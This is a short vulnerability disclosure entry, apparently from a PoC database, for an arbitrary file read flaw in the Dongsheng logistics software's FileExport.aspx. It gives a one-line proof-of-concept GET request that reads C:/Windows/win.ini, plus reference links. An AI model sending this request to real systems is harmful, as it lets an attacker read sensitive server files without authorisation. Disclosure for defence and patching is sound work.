Description
东胜物流软件 FileExport.aspx 存在任意文件读取漏洞，攻击者可获取系统内部敏感文件内容，造成信息泄露。
东胜物流软件 FileExport.aspx 任意文件读取漏洞
PoC
GET /Reports/FileExport.aspx?filename=C:/Windows/win.ini HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.gm7.org/archives/28249
https://ddpoc.com/DVB-2025-9698.html
https://cn-sec.com/archives/4890736.html
https://github.com/LJY00008888/-POC/tree/main/%E4%B8%9C%E8%83%9C%E7%89%A9%E6%B5%81%E8%BD%AF%E4%BB%B6%20FileExport.aspx%20%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96
https://zone.ci/e/tags/?tagname=fileexport.aspx
https://nosec.org/m/share/5900.html